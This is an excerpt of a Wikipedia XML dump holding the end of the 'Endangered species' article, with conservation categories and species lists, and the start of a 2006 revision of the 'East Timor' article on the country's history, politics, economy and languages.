An '''endangered species''' is a population of organisms (frequently but not always a taxonomic [[species]]) which is either (a) so few in number or (b) threatened by changing environmental or predation parameters that it is at risk of becoming [[extinct]].  Many countries have [[law]]s offering special protection to these species or their [[Habitat (ecology)|habitats]]: for example, forbidding [[hunting]], restricting land development or creating preserves.  Only a few of the many endangered species actually make it to the lists and obtain [[law|legal]] protection. Many more species become extinct, or potentially will become extinct, without gaining public notice.

The greatest factor of concern is the rate at which species are becoming extinct within the last 150 years.  While species have evolved and become [[extinct]] on a regular basis for the last several hundred million years, the number of species becoming extinct since the [[Industrial Revolution]] has no precedent in biological history. If this rate of extinction continues, or accelerates as now seems to be the case, the number of [[species]] becoming extinct in the next century could number in the tens of thousands.  While most people readily relate to endangerment of large [[mammal]]s or [[bird]]life, some of the greatest [[ecological]] issues are the threats to stability of whole [[ecosystems]] if key species vanish at any level of the [[food chain]].

==Issues of extinction==

Species extinction is the obvious ultimate concern, but there are four different reasons to have for concern with this outcome: (a) Loss of a species as a biological entity, (b) Destabilization of an ecosystem, (c) Endangerment of other species and (d) Loss of irreplacable genetic material and associated biochemicals.  The loss of a species in and of itself is an important factor, both as diminution of the enjoyment of nature and as a moral issue for those who believe humans are stewards of the natural environment.  Destabilization is a well understood outcome, when an element of food or predation is removed from an ecosystem.  Examples abound that other species are in turn affected, such that population increases or declines are forthcoming in these secondary species.  Drastic change or an unstable spiral can ensue, until other species are lost and the ecosystem structure is changed markedly and irreversibly. 

The fourth outcome is more subtle, but perhaps the most important point for mankind to grasp.  Each species carries unique genetic material in its [[DNA]] and in its chemical factory responding to these genetic instructions.  For example, in the valleys of central China, a [[fern]]like [[weed]] called sweet [[wormwood]] grows, that is the only source of [[artemisinin]], a drug that is nearly 100 percent effective against [[malaria]](Jonietz, 2006).  If this plant were lost to extinction, then the ability to control malaria, even today a potent killer, would diminish.  there are countless other examples of chemicals unique to a certain species, whose only source is the species, whose genetic factory makes that given substance.  How many further chemicals have not yet been discovered and could vanish from the planet when further species become extinct?

==Conservation status==

The '''[[conservation status]]''' of a [[species]] is an indicator of the likelihood of that endangered species continuing to survive. Many factors are taken into account when assessing the conservation status of a species; not simply the number remaining, but the overall increase or decrease in the population over time, breeding success rates, known threats, and so on.

The best-known worldwide conservation status listing is the [[IUCN Red List]], but many more specialized lists exist. 

The following conservation status categories are used in articles in this encyclopedia. They are loosely based on the IUCN categories.
* '''Extinct''': the last remaining member of the species had died, or is presumed to have died beyond reasonable doubt. Examples: [[Thylacine]], [[Dodo]].
* '''Extinct in the wild''': captive individuals survive, but there is no free-living, natural population. Examples: [[Dromedary]], [[Przewalski's Horse]]. 
* '''Critical''' or ''critically endangered'': faces an extremely high risk of [[extinction]] in the immediate future. Examples: [[Ivory-billed Woodpecker]], [[Arakan Forest Turtle]]
* '''Endangered''': faces a very high risk of extinction in the near future. Examples: Blue whale, [[Kings holly]], [[Pink fairy armadillo]]
* '''Vulnerable''': faces a high risk of extinction in the medium-term. Examples: [[Cheetah]], [[Bactrian Camel]]
* '''Secure''' or ''lower risk'': no immediate threat to the survival of the species. Examples: [[Nootka Cypress]], [[Llama]]


The following lists are examples of endangered species.  Note that because of varying standards for regarding a species as endangered, and the very large number of endangered species, '''these lists should not be regarded as comprehensive'''.

==Endangered [[mammal]]s==
&lt;!-- ### PLEASE ADD IN ALPHABETICAL ORDER ### --&gt;

[[Image:Urocyon littoralis full figure.jpg|thumb|right|400px|The endandered Island Fox]] 

* [[Asian Elephant]] (''Elephas maximus'')
* [[Aye-aye]] (''Daubentonia madagascariensis'')
* [[Banteng]] (''Bos javanicus'')
* [[Bighorn Sheep]] (''Ovis canadensis'')
* [[Black Rhinoceros]] (''Diceros bicornis'')
* [[Black-footed Ferret]] (''Mustela nigripes'')
* [[Blue Whale]] (''Balaenoptera musculus'')
* [[Bonobo]] (''Pan paniscus'')
* [[Potoridae|Burrowing Bettong]] (''Bettongia lesueur nova'')
* [[Common Chimpanzee]] (''Pan troglodytes'')
* [[Chinese River Dolphin]] (''Lipotes vexillifer'') and other [[river dolphin]]s
* [[Gorilla|Eastern Gorilla]] (''Gorilla beringei'')
* [[Fin Whale]] (''Balaenoptera physalus'')
* [[Forest Elephant]] (''Loxodonta cyclotis'')
* [[Gelada]] (''Theropithecus gelada'')
* [[Giant golden-crowned flying fox]] (''Acerodon jubatus'')
* [[Giant Panda]] (''Ailuropoda melanoleuca'')
* [[Pangolin|Giant Pangolin]] (''Manis gigantea'')
* [[Golden Lion Tamarin]] (''Leontopithecus rosalia'')

[[Image:Humpback_Whale_underwater_shot.jpg|thumb|right|240px|Humpback Whale]]

* [[Gray bat]] (''Myotis grisescens'')
* [[Hawaiian Monk Seal]] (''Monachus schauinslandi'')
* [[Humpback Whale]] (''Megaptera novaeangliae'')
* [[Indian Pangolin]] (''Manis crassicaudata'')
* [[Indri]] (''Indri indri'')
* [[Island Fox]] (''Urocyon littoralis'')
* [[Javan Rhinoceros]] (''Rhinoceros sondaicus'')
* [[Key Deer]] (''Odocoileus virginianus clavium'')
* [[Kouprey]] (''Bos sauveli'')
* [[Leopard]] (''Panthera pardus'')
* [[wombat|Northern Hairy-nosed Wombat]] (''Lasiorhinus krefftii'')
* [[Numbat]] (''Myrmecobius fasciatus'') 
* [[Orangutan]] (''Pongo pygmaeus'' and ''Pongo abelii'')

[[Image:Bison skull pile, ca1870.png|thumb|right|300px|[[American bison]] skull heap. There were as few as 750 bison in [[1890]] from overhunting.]]

* [[Père David's Deer]] (''Elaphurus davidianus'')
* [[Proboscis Monkey]] (''Nasalis larvatus'')
* [[Red Panda]] (''Ailurus fulgens'')
* [[Red Wolf]] (''Canis rufus'')
* [[Savannah Elephant]] (''Loxodonta africana'')
* [[Sea Otter]] (''Enhydra lutris'')
* [[Sei Whale]] (''Balaenoptera borealis'')
* [[Snow Leopard]] (''Uncia uncia'')
* [[Steller's Sea Lion]] (''Eumetopias jubatus'')
* [[Sumatran Rhinoceros]] (''Dicerorhinus sumatrensis'')
* [[Temminck's Pangolin]] (''Manis temminckii'')
* [[Tibetan Antelope]] (''Pantholops hodgsonii'') 
* [[Tiger]] (''Panthera tigris'')
* [[Vaquita]] (''Phocoena sinus'')
* [[Gorilla|Western Gorilla]] (''Gorilla gorilla'')
* [[Manatee|West Indian Manatee]] (''Trichechus manatus'')

==Endangered [[bird]]s==

[[Image:California-condor.jpg|thumb|right|400px|Immature [[California Condor]]]]

* [[Alaotra Grebe]] (''Tachybaptus rufolavatus'')
* [[Amami Thrush]] (''Zoothera major'')
* [[Amsterdam Albatross]] (''Diomedea amsterdamensis'')
* [[Attwater's prairie-chicken]] (''Tympanuchus cupido attwateri'')
* [[Bali Starling]] (''Leucospar rothschildi'')
* [[Brazilian Merganser]] (''Mergus octosetaceus'')
* [[California Clapper Rail]] (''Rallus longirostris obsoletus'') 
* [[California Condor]] (''Gymnogyps californianus'')
* [[Chatham Albatross]] (''Thalassarche eremita'')
* [[Chinese Crested Tern]] (''Sterna bernsteinii'')
* [[Christmas Island Frigatebird]] (''Fregata andrewsi'')
* [[Cozumel Thrasher]] (''Toxostoma guttatum'')
* [[Eskimo Curlew]] (''Numenius borealis'')
* [[Giant Ibis]] (''Thaumatibis gigantea'')
* [[Glaucous Macaw]] (''Anodorhynchus glaucus'')
* [[Guam Rail]] (''Gallirallus owstoni'')
* [[Gurney's Pitta]] (''Pitta gurneyi'')
* [[Hawaiian Crow]] (''Corvus hawaiiensis'')
* [[Hawaiian Goose]] or '''Néné''' (''Branta sandvicensis'')
* [[Imperial Woodpecker]] (''Campephilus imperialis'') 
* [[Indian White-rumped Vulture]] (''Gyps bengalensis'')
* [[Ivory-billed Woodpecker]] (''Campephilus principalis'')
* [[Jerdon's Courser]] (''Rhinoptilus bitorquatus'')
* [[Junin Flightless Grebe]] (''Podiceps taczanowskii'')
* [[Kakapo]] (''Strigops habroptilus'')
* [[Kittlitz's Murrelet]] (''Brachyramphus brevirostris'')
* [[Kiwi]] (''Apteryx australis'', ''A. hastii'', ''A. owenii'')
* [[Laysan Duck]] (''Anas laysanensis'')
* [[Lear's Macaw]] (''Anodorhynchus leari'')
* [[Lesser Sulphur-crested Cockatoo]] (''Cacatua sulphurea'')
* [[Long-billed Vulture]], (''Gyps indicus'')
* [[Magdalena Tinamou]] (''Crypturellus saltuarius'')
* [[Magenta Petrel]] (''Pterodroma magentae'')
* [[Mauritius Fody]] (''Foudia rubra'')
* [[Mauritius Parakeet]] (''Psittacula eques'')
* [[Mindoro Bleeding-heart]] (''Gallicolumba platenae'')
* [[New Zealand Storm-petrel]] (''Oceanites maorianus'')
* [[Night Parrot]] (''Geopsittacus occidentalis'')
* [[Northern Bald Ibis]] (''Geronticus eremita'')
* [[Okinawa Woodpecker]] (''Sapheopipo noguchii'')
* [[Orange-bellied Parrot]] (''Neophema chrysogaster'')
* [[Philippine Eagle]] (''Pithecophaga jefferyi'')
* [[Po'ouli]] (''Melamprosops phaeosoma'')
* [[Puerto Rican Parrot]] (''Amazona vittata'')
* [[Raso Skylark]] (''Alauda razae'') 
* [[Red-cockaded Woodpecker]] (''Picoides borealis'')
* [[Red-vented Cockatoo]] (''Cacatua haematuropygia'')
* [[Ridgway's Hawk]] (''Buteo ridgwayi'')
* [[São Tomé Grosbeak]] (''Neospiza concolor'')
* [[Siberian Crane]] (''Grus leucogeranus'')
* [[Slender-billed Curlew]] (''Numenius tenuirostris'')
* [[Socorro Mockingbird]], (''Mimodes graysoni'')
* [[Sociable Lapwing]] (''Vanellus gregarius'')
* [[Spix's Macaw]] (''Cyanopsitta spixii'')
* [[White-headed Duck]] (''Oxyura leucocephala'')
* [[White-shouldered Ibis]] (''Pseudibis davisoni'')
* [[Whooping Crane]] (''Grus americana'')
* [[Writhed-billed Hornbill]] (''Aceros waldeni'')
* [[Zino's Petrel]] (''Pterodroma madeira'')

==Endangered [[reptile]]s==
&lt;!-- ### PLEASE ADD IN ALPHABETICAL ORDER (Scientific Name) ### --&gt;
* [[St. Croix ground lizard]] (''Ameiva polops'')
* [[Sea turtle|Loggerhead Sea Turtle]] (''Caretta caretta'')
* [[Sea turtle|Green Sea Turtle]] (''Chelonia mydas'')
* [[Cuban Crocodile]] (''Crocodylus rhombifer'')
* [[Mona ground Iguana]] (''Cyclura stejnegeri'')
* [[Mesoamerican River Turtle]] (''Dermatemys mawii'')
* [[Leatherback Sea Turtle]] (''Dermochelys coriacea'')
* [[Hawksbill Turtle|Hawksbill Sea Turtle]] (''Eretmochelys imbricata'')
* [[Blunt-nosed Leopard Lizard]] (''Gambelia silus'')
* [[Burmese Star Tortoise]] (''Geochelone platynota'')
* [[Sea turtle|Kemp's Ridley Turtle]] (''Lepidochelys kempii'')
* [[Olive Ridley]] (''Lepidochelys olivacea'')
* [[Sea turtle|Flat Back Turtle]] (''Natator depressa'')
* [[Grand Skink]] (''Oligosoma grande'')
* [[Otago Skink]] (''Oligosoma otagense'')
* [[Monito Gecko]] (''Sphaerodactylus micropithecus'')
* [[Coachella Valley fringe-toed lizard]] (''Uma inornata'')
* [[Komodo Dragon]] (''Varanus komodoensis'')
* [[Island Night Lizard]] (''Xantusia riversiana'')
* [[Horned Lizard]]

==Endangered [[Amphibia|amphibians]]==

[[Image:croceum.jpg|thumb|right|300px|Santa Cruz Long-toed Salamander (photo courtesy of Don Roberson)]]

* [[Arroyo Southwestern toad]] (''Bufo californicus (=microscaphus)'')
* [[Barton Springs salamander]] (''Eurycea sosorum'')
* [[California tiger salamander]] (''Ambystoma californiense'') 
* [[Desert slender salamander]] (''Batrachoseps aridus'')
* [[Fleishman's Glass Frog]]
* [[Houston toad]] (''Bufo houstonensis'')´
* [[Italian spade-footed toad]] (''Pelobates fuscus insubricus'')
* [[Mississippi gopher frog]] ('' Rana capito sevosa'')
* [[Mountain yellow-legged frog]] (''Rana muscosa'')
* [[Palmate newt]] (''Triturus helvetica'')
* [[Santa Cruz Long-toed Salamander]] (''Ambystoma macrodactylum croceum'')
* [[Shenandoah salamander]] (''Plethodon shenandoah'')
* [[Sonoran tiger salamander]] (''Ambystoma tigrinum stebbinsi'')
* [[Texas blind salamander]] (''Eurycea rathbuni'')
* [[Wyoming toad]] ('' Bufo baxteri (=hemiophrys)'')
* [[Telmatobius]] (''Telmatobius Wiegmann'')

== Endangered [[fish]] ==
* ''[[Gambusia eurystoma]]'', native to [[Mexico]], due to very limited habitat
* [[Asian Arowana]] (''Scleropages formosus'')
* [[Chinese paddlefish]] (''Psephurus gladius'')
* [[Dwarf Pygmy Goby]] (''Pandaka pygmae)
* [[Moapa dace]]
* [[Nassau grouper]] (''Epinephelus striatus'')

==Endangered [[crustacean]]s==
*[[Kentucky cave shrimp]] ''(Palaemonias ganteri)''
*[[Alabama cave shrimp]] ''(Palaemonias alabamae)''

== Endangered [[arthropods]] ==
* [[San Bruno elfin butterfly]] (Incisalia mossii bayensis), due to limited range of habitat and development encroachment
* [[Spruce-fir moss spider]] (''Microhexura montivaga'')
* [[Tooth cave spider]] (''Neoleptoneta myopica'')

== Endangered [[mollusk]]s ==
* [[Iowa Pleistocene Snail]] (''Discus macclintocki'')

==Endangered [[plant]]s==
About 6% of the 300,000 identified species are endangered due to overcollection or destruction of habitat, among other causes. [[Pollinator decline]] is also a factor for some species.

* [[African violet]] (''Saintpaulia ionantha''), due to forest clearance
* [[Baishanzu fir]] (''Abies beshanzuensis'') of southeast [[China]], three trees known on an isolated mountain summit
* [[Baker's larkspur]] (''Delphinium bakeri'') of [[California]], due to very limited habitat
* [[Chilean wine palm]] (''Juba chilensis''), due to land clearance
* [[Dawn Redwood]] (&quot;Metasequoia glyptostroboides&quot;), thought to be extinct until 1941, when a small stand was discovered in China
* [[King of the Paphs Orchid]] (''Paphiopedilum rothschildianum'') of [[Asia]], due to overcollection 
* [[Lobster claw]] (''Clianthus puniceus'') of [[Australia]], due to overgrazing
* [[Louisiana Quillwort]], (''Isoetes louisianensis'') of [[Louisiana]], due to very limited habitat
* [[Madonna lily]] (''Lilium candidum'') of [[Europe]], due to overcollection 
* ''[[Pinus squamata]]'' of southwest [[China]], about 20 trees known
* [[saguaro|Saguaro cactus]] (''Carnegia gigantea'') of [[North America]], due to overcollection, slow maturing, and slow breeding
* [[Saharan Cypress]] (''Cupressus dupreziana'') of [[North Africa]], due to small population and [[desertification]]
* [[Santa Cruz Tarweed]] (Holocarpa macradenia), of [[California]], due to limited range of habitat and encroachment by man 
* [[Venus Flytrap]] (''Dionaea muscipula'') of [[North America]], due to land clearance and overcollection.
* [[Wollemi Pine]] (''Wollemia nobilis'') of [[Australia]], also known as the 'Dinosaur Tree' or 'Living Fossil'.  Wollemia fossils have been found in Australia, Antarctica and New Zealand.  The plant was thought to be extinct until two trees were discovered in 1994.  Research into the horticultural development of the Wollemi pine is being conducted at Mount Annan Botanic Garden and, with commercial propagation well under way, plants should be available in 2005.

==Controversy==

Some [[endangered species]] laws are [[Controversy|controversial]]. Typical areas of controversy include: criteria for placing a species on the endangered species list, and criteria for removing a species from the list once its population has recovered; whether restrictions on land development constitute a &quot;taking&quot; of land by the [[government]]; the related question of whether private landowners should be compensated for the loss of use of their land; and obtaining reasonable exceptions to protection laws.

Being listed as an endangered species can backfire, since it could make a species more desirable for collectors and poachers [http://news.bbc.co.uk/2/hi/science/nature/4013719.stm].  This is usually a .   spurious argument, however, by those favoring loose laws for protection.

== See also ==
* [[Conservation status]]
* [[Convention on Biological Diversity]]
* [[Convention on the International Trade in Endangered Species of Wild Flora and Fauna]] (CITES)
* [[Extinct birds]]
* [[Endangered Species Act]]
* [[International Convention for the Regulation of Whaling]]
* [[List of extinct animals of the British Isles|List of extinct and endangered animals of the British Isles]]
* [[Timeline of environmental events]]

==External links==
* [http://news.bbc.co.uk/2/hi/science/nature/4013719.stm  &quot;Science counts species on brink&quot;]. (Nov 17, 2004). ''BBC News''.
*[http://www.sinapu.org/ Endangered Native Carnivores in the Southern Rockies]
* U.S. Fish &amp; Wildlife Service. [http://ecos.fws.gov/tess_public/TESSWebpage Threatened and Endangered Species System (TESS)]. 
*[http://www.bagheera.com/index.cfm Bagheera]. A website for our endangered species.
*[http://www.arkive.org ARKive].Images of Life on Earth
[[Category:Conservation]]
[[Category:Endangered species| ]]
[[Category:Environmental threats]]

[[eo:Minacata specio]]
[[fr:Espèce menacée]]
[[ko:멸종위기종]]
[[he:בעלי חיים בסכנת הכחדה]]
[[nl:Bedreigde diersoort]]
[[ja:絶滅危惧種]]
[[pl:Gatunek zagrożony]]
[[pt:Espécies ameaçadas]]
[[zh:瀕危物種]]</text>
    </revision>
  </page>
  <page>
    <title>East Timor</title>
    <id>9557</id>
    <revision>
      <id>41989130</id>
      <timestamp>2006-03-03T01:51:51Z</timestamp>
      <contributor>
        <ip>202.72.106.20</ip>
      </contributor>
      <comment>/* History */ there is evidence (see CAVR report) that it was the Indonesian miliatary that instigated the violence, aided by militias</comment>
      <text xml:space="preserve">''{{East Timor infobox}}''

The '''[[Democratic Republic]] of Timor-Leste''' or '''East Timor''' is a country in [[Southeast Asia]]. It consists of the eastern half of the [[island]] of [[Timor]], the nearby islands of [[Atauro Island|Atauro]] and [[Jaco (East Timor)|Jaco]], and [[Oecussi-Ambeno]], an [[exclave]] of East Timor situated on the northwestern side of the island, surrounded by [[Indonesia]]n [[West Timor]]. The small country is located about 400 miles northwest of [[Darwin, Australia]]. 

The name Timor is derived from ''timur'' the [[Malay language|Malay]] word for 'east', which became ''Timor'' in [[Portuguese language|Portuguese]]. The Portuguese name '''Timor-Leste''' and [[Tetum]] name '''Timor Lorosa'e''' are sometimes used in [[English language|English]]. Lorosa'e means 'rising sun' in Tetum.

East Timor has the lowest [[per capita]] [[Gross domestic product|GDP]] (Purchasing Power Parity adjusted) in the world of only $400 (which corresponds to the [[List of countries by GDP (PPP) per capita|192nd]], and last, position). However, regarding [[HDI]], it is in [[List of countries by Human Development Index|140th]] place among the world's nations, which corresponds to medium human development. 

Colonized by [[Portugal]] in the 16th century, East Timor was known as [[Portuguese Timor]] for centuries. It was invaded by [[Indonesia]] in [[1975]], which [[military occupation|occupied]] it until [[1999]]. Following the [[UN]]-sponsored act of self-determination that year, [[Indonesia]] relinquished control of the territory, which achieved full independence on [[May 20]], [[2002]]. With the [[Philippines]], East Timor is one of only two majority [[Roman Catholic]] countries in [[Asia]]. 

== History ==
''Main article: [[History of East Timor]]''

The [[Portugal|Portuguese]] were the first [[Europe]]ans to arrive in the area, in the 16th century, and they established an isolated presence on the island of [[Timor]], while the surrounding islands came under [[Netherlands|Dutch]] control. The area became a colony in 1702 with the arrival of the first governor from [[Lisbon]]. In the 18th century, Holland gained a foothold on the western half of the island, and was formally given [[West Timor]] in 1859 with the [[Treaty of Lisbon]]. The definitive border was drawn by [[the Hague]] in 1916, and it remains the international boundary between the successor states East Timor and [[Indonesia]].

In late 1941 Portuguese Timor was briefly occupied by Dutch and Australian troops, who aimed to thwart a [[Empire of Japan|Japanese]] invasion of the island. The Portuguese Governor protested the invasion, and the Dutch forces returned to the Dutch side of the island. When the Japanese landed and drove the small Australian force out of Dili, the mountainous interior became the scene of a [[guerrilla warfare|guerrilla]] campaign, known as [[Battle of Timor (1942-43)|Battle of Timor]], waged by [[Allied]] forces and Timorese volunteers against the Japanese. The struggle resulted in the deaths of between 40,000 and 70,000 Timorese. Following the end of the war, Portuguese control was reinstated.

The process of decolonisation in [[Portuguese Timor]] began in [[1974]], following the change of government in Portugal in the wake of the [[Carnation Revolution]].
Owing to political instability and more pressing concerns with decolonisation in [[Angola]] and [[Mozambique]], Portugal effectively abandoned East Timor, which [[unilateral declaration of independence|unilaterally declared itself independent]] on [[November 28]], [[1975]]. Nine days later, it was invaded and occupied by [[Indonesia]]n forces before this could be internationally recognised. 

Indonesia alleged that the popular East Timorese [[FRETILIN]] party, which received some vocal support from the [[People's Republic of China]], was communist. With the [[United States|American]] cause in [[South Vietnam]] lost and fearing a [[Communist]] domino effect in [[Southeast Asia]], the U.S., along with ally [[Australia]], did not object to the pro-Western Indonesian government's actions, despite Portugal being a [[NATO]] founding member.

The Indonesian invasion was launched over the western border on [[16 October]] [[1975]]. The day before the invasion of [[Dili]] and subsequent annexation, [[U.S. President]] [[Gerald Ford]] and [[US Secretary of State|Secretary of State]] [[Henry Kissinger]] had met [[President]] [[Suharto]] in [[Jakarta]] where [[Ford]] made clear that &quot;we will not press you on the issue.&quot; Several U.S. administrations up to and including that of [[Bill Clinton]] did not ban arms sales to the Indonesian government, though the latter did eventually end U.S. support of Suharto's regime. The territory was declared the 27th province of Indonesia in July [[1976]] as ''Timor Timur''.  However, internationally its legal status was that of a &quot;non-self governing territory under Portuguese administration.&quot; 

The East Timorese [[guerrilla warfare|guerrilla]] forces, known as the [[Falintil]] fought a very successful guerrilla campaign against the [[Indonesian]] forces from [[1975]] into [[1999]]. Their casualties were relatively light compared to those they inflicted upon the [[Indonesian]] [[military]]. However the [[Indonesian]]s generally took their frustrations out on the civilian population, often torturing and killing on the pretense that they were 'helping the rebels'.    

Indonesian rule in East Timor was marked by extreme violence and brutality, two of the worst examples of this being the [[Dili massacre]] and the [[Liquiçá Church Massacre]]. during the invasion and 24-year occupation, 100,000 to 250,000 people were killed out of an initial population of about 600,000 at the time of the invasion. Following a UN-sponsored agreement between Indonesia, Portugal and the US, on [[August 30]], [[1999]], a [[United Nations]]-supervised popular [[referendum]] was held, the East Timorese voted for full independence from Indonesia, but violent clashes, instigated primarily by the Indonesian military, see [[Timor-Leste Scorched Earth|Scorched Earth Operation]], and aided by Timorese [[pro-Indonesia militia]]'s broke out soon afterwards. A peacekeeping force ([[INTERFET]], led by [[Australia]]) intervened to restore order.  Militias fled across the border into Indonesia, from which they attempted sporadic raids, particularly along the [[New Zealand Army]]-held southern half of the main border. As these raids were repelled and international moral opinion forced Indonesia to withdraw tacit support, the militia dispersed. INTERFET was replaced by a UN force.

Independence was recognised by Portugal after a visit of [[Xanana Gusmão]] to [[Lisbon]] to choose the date. They decided [[May 20]], [[2002]], and East Timor joined the UN on [[September 27]] of that year. 

See also: [[United Nations Transitional Administration in East Timor]]

See also: [[Liquiçá Church Massacre]] or [[Dili massacre]]

See also: [[Aitarak]]

See also: [[Karl Clark]] or [[Allen Williams]]

See also: [[Besi Merah Putih]]

See also: [[Eurico Guterres]]

== Politics ==
''Main article: [[Politics of East Timor]]''

The [[Head of state]] of the East Timorese [[republic]] is the [[president]], who is elected by popular vote for a five-year term and whose role is largely symbolic, though he is able to veto some legislation. Following elections, the president appoints as [[prime minister]] the leader of the majority party or majority [[coalition]]. As [[head of government]] the prime minister presides over the Council of State or [[cabinet]].

The [[unicameral]] Timorese [[parliament]] is the [[National Parliament of East Timor|National Parliament]] or ''Parlamento Nacional'', whose members are elected by popular vote to a five-year term. The number of seats can vary from a minimum of 52 to a maximum of 65, though it exceptionally has 88 members at present, due to this being its first term of office. The East Timorese [[constitution]] was modelled on that of [[Portugal]]. The country is still in the process of building its administration and governmental institutions.

== Districts ==
''Main article: [[Districts of East Timor]]''

[[Image:East Timor districts numbered.png|right|240px|Map of the districts of East Timor, geographic order]]
East Timor is divided into 13 administrative districts:
#[[Lautem]]
#[[Baucau (district)|Baucau]]
#[[Viqueque (district)|Viqueque]]
#[[Manatuto (district)|Manatuto]]
#[[Dili (district)|Dili]]
#[[Aileu (district)|Aileu]]
#[[Manufahi]]
#[[Liquiçá (district)|Liquiçá]]
#[[Ermera]]
#[[Ainaro (district)|Ainaro]]
#[[Bobonaro]]
#[[Cova-Lima]] 
#[[Oecussi-Ambeno]]

== Geography ==
''Main article: [[Geography of East Timor]]''

[[Image:CIA-TimorLeste.jpg|thumb|240px|right|Map of East Timor with cities]]
The island of [[Timor]] is part of the [[Malay archipelago]] and the largest and easternmost of the [[Lesser Sunda Islands]]. To the north of the mountainous island are the [[Ombai Strait]] and [[Wetar Strait]], to the south the [[Timor Sea]] separates the island from [[Australia]], while to the west lies the [[Provinces of Indonesia|Indonesian Province]] of [[East Nusa Tenggara]]. The highest point of East Timor is [[Mount Tatamailau]] at 2,963 m.

The local [[climate]] is tropical and generally hot and humid, characterised by distinct rainy and dry seasons. The capital, largest city and main port is [[Dili]], and the second-largest city is the eastern town of [[Baucau]].  Dili has the only functioning international airport, though there is an airstrip in Baucau used for domestic flights.

== Economy ==
''Main article: [[Economy of East Timor]]''

Prior to and during colonisation, Timor was best known for its [[sandalwood]]. In late [[1999]], about 70% of the economic [[infrastructure]] of East Timor was laid waste by [[Military of Indonesia|Indonesian troops]] and [[pro-Indonesia militia|anti-independence militias]], and 260,000 people fled westward. Over the next three years a massive international program led by the UN, manned by civilian advisers, 5,000 peacekeepers (8,000 at peak) and 1,300 police officers, led to substantial reconstruction in both urban and rural areas. By mid-2002, all but about 50,000 of the refugees had returned.  This successful UN effort was headed by Special Representative of the [[UN_Secretary-General|Secretary-General]], [[Sérgio Vieira de Mello]], later to become [[High Commissioner for Human Rights]], who was killed in Baghdad in August 2003.

{{wikinews|East Timor - Australia problematic billion-dollar gas and oil accord}}
The country faces great challenges in continuing to rebuild the infrastructure and the strengthen the infant civil administration. One promising long-term project is the joint development with [[Australia]] of [[petroleum]] and [[natural gas]] resources in the waters southeast of Timor, a location which became known as the [[Timor gap]] following the signing by Australia and Indonesia of the 'Timor Gap Treaty' when East Timor was still under Indonesian occupation. East Timor inherited no permanent maritime boundaries when it attained independence, and the Government of East Timor is seeking to negotiate a boundary with Australia halfway between it and Australia. As of May 2004, the Government of Australia wanted to establish the boundary at the end of the Australian [[continental shelf]]. Normally a maritime dispute such as this could be referred to the [[International Court of Justice]] or the [[International Tribunal for the Law of the Sea]] for an impartial decision.  However, Australia withdrew from these organisations when it realised that East Timor might invoke these dispute resolution mechanisms. Many advocacy groups claimed that Australia deliberately obstructed negotiations because the existing arrangement benefited Australia financially.  On [[July 7]], [[2005]], an agreement was finally reached under which both countries would set aside the dispute over the maritime boundary, and East Timor would receive [[Australian Dollar|A$]]13 billion ([[US Dollar|US]]$9.65 billion) in revenue.

East Timor also has a large [[coffee]] industry, which if managed correctly can be fairly lucrative. 

Currently three foreign banks have a branch in Dili: [[ANZ Bank]], [[Banco Nacional Ultramarino]], and [[Bank Mandiri]].

East Timor has the lowest ''[[Per capita income|per capita income]]'' in the world (USD 400 per annum) according to  the [[CIA World Factbook]], 2005.

== Demographics ==
''Main article: [[Demographics of East Timor]]''

The population of East Timor is about one million. It has grown considerably recently, because of a high birth rate, but also because of the return of refugees. The population is especially concentrated in the area around [[Dili]].

The Timorese are called ''Maubere'' collectively by some of their political organizations, an originally derogatory name turned into a name of pride by [[Fretilin]]. They consist of a number of distinct ethnic groups, most of whom are of mixed [[Malayo-Polynesian]] and [[Melanesian]]/[[Papua]]n descent. The largest Malayo-Polynesian ethnic groups are the [[Tetun]] (or Tetum) (100,000), primarily in the north coast and around Dili; the [[Mambae]] (80,000), in the central mountains; the [[Tukudede]] (63,170), in the area around [[Maubara]] and [[Liquiçá]]; the [[Galoli]] (50,000), between the tribes of Mambae and Makasae; the [[Kemak]] (50,000) in north-central Timor island; and the [[Baikeno]] (20,000), in the area around [[Pante Macassar]]. The main tribes of predominantly Papuan origin include the [[Bunak]] (50,000), in the central interior of Timor island; the [[Fataluku]] (30,000), at the eastern tip of the island near [[Lospalos]]; and the [[Makasae]], toward the eastern end of the island. In addition, like other former [[Portuguese colonies]] where [[interracial marriage]] was common, there is a smaller population of people of mixed Timorese and Portuguese origin, known in Portuguese as ''[[Mestiço]]''. The best-known East Timorese ''Mestiço'' internationally is [[José Ramos Horta]], the spokesman for the resistance movement in exile, and now [[Foreign Minister]]. [[Mário Viegas Carrascalão]], Indonesia's appointed governor between [[1987]] and [[1992]], is also ''Mestiço''.  

=== Religion ===

The population is predominantly [[Roman Catholic]] (90%), with sizable [[Islam|Muslim]] (5%) and [[Protestant]] (3%) minorities. Smaller [[Hinduism|Hindu]], [[Buddhism|Buddhist]] and [[animism|animist]] minorities make up the remainder. 

== Languages ==
''Main article: [[Languages of East Timor]]''

East Timor's two official languages are [[Portuguese language|Portuguese]] and [[Tetum]], a local [[Austronesian languages|Austronesian language]]. [[Indonesian language|Indonesian]] and [[English language|English]] are defined as working languages under the Constitution in the Final and Transitional Provisions without setting a final date. Although the country has only about 1 million inhabitants, another fourteen indigenous languages are spoken: [[Bekais]], [[Bunak]], [[Dawan]], [[Fataluku]], [[Galoli]], [[Habun]], [[Idalaka]], [[Kawaimina]], [[Kairui]], [[Kemak]], [[Lovaia]], [[Makalero]], [[Makasai]], [[Mambai]], [[Tetun-Terik]], [[Tokodede]] and [[Wetarese]].

Under Indonesian rule, the use of Portuguese was banned, but it was used by the clandestine resistance, especially in communicating with the outside world. The language, along with Tetum, gained importance as a symbol of resistance and freedom and was adopted as one of the two official languages for this reason, and as a link to nations in other parts of the world. It is now being taught and promoted widely with the help of [[Brazil]] and [[Portugal]]. Some claim it is now spoken by 25% of the population(source??), although its prominence in official and public spheres has been met with some hostility from younger Indonesian-educated people. East Timor is a member of the Community of Portuguese Language Countries ([[CPLP]]), also known as the [[Lusophone]] Commonwealth, and a member of the [[Latin Union]].

There remains great controversy over the Timorese government's language policy which, in practice, promotes Portuguese over the national language Tetum. It is also not widely accepted that any more than 5% of the population currently speaks Portuguese with any fluency.[http://www.jsmp.minihub.org/Reports/jsmpreports/Language%20Report/LanguageReport(english).pdf](2- Timorese Census) Local languages and Tetum still remain the most common means of communication between ordinary Timorese, while a large segment of Timor's demographically young population also speak [[Bahasa Indonesia]].

== Culture ==
{{main|Culture of East Timor}}

